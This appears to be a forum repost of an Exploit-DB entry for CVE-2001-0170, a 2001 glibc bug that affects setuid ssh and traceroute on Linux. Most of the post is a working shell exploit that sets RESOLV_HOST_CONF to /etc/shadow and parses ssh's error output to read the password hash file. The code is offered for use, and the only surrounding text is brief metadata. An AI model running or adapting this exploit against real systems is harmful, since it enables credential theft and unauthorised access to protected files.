Exploit glibc-2.2 / openssh-2.3.0p1 / glibc 2.1.9x - File Read

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
258
Проверка EDB
  1. Пройдено
Автор
KROCHOS
Тип уязвимости
LOCAL
Платформа
LINUX
CVE
cve-2001-0170
Дата публикации
2001-01-25
Код:
# Charles Stevenson <[email protected]>
# glibc-2.2 and openssh-2.3.0p1 (Debian 2.3 , Redhat 7.0)
# This exploits is for glibc >= 2.1.9x.
# (****[email protected]****)
# Edit this if you have a problem with path

ssh=/usr/bin/ssh
traceroute=/usr/sbin/traceroute
FILE=/etc/shadow        # File to read
###############################################################################

echo "$ssh"
echo "[*] Checking permisions..."

if [ ! -u $ssh ]; then
        echo "$ssh is NOT setuid on this system or does not exist at all!"
        if [ ! -u $traceroute ]; then
          echo "$traceroute is NOT setuid on this system or does not exist at all!"
          exit 0
        fi
fi

export RESOLV_HOST_CONF=$FILE

echo "[*] Glibc bug found by Charles Stevenson <[email protected]>"
echo "[*] [email protected]"
sleep 1
echo "[*] export  RESOLV_HOST_CONF=/etc/shadow"
ssh lt 2>/tmp/.resolv
cat /tmp/.resolv |  cut -d"\`" -f5,2 | awk -F"\'" '{print $1} '

# milw0rm.com [2001-01-25]
 
Источник
www.exploit-db.com

Похожие темы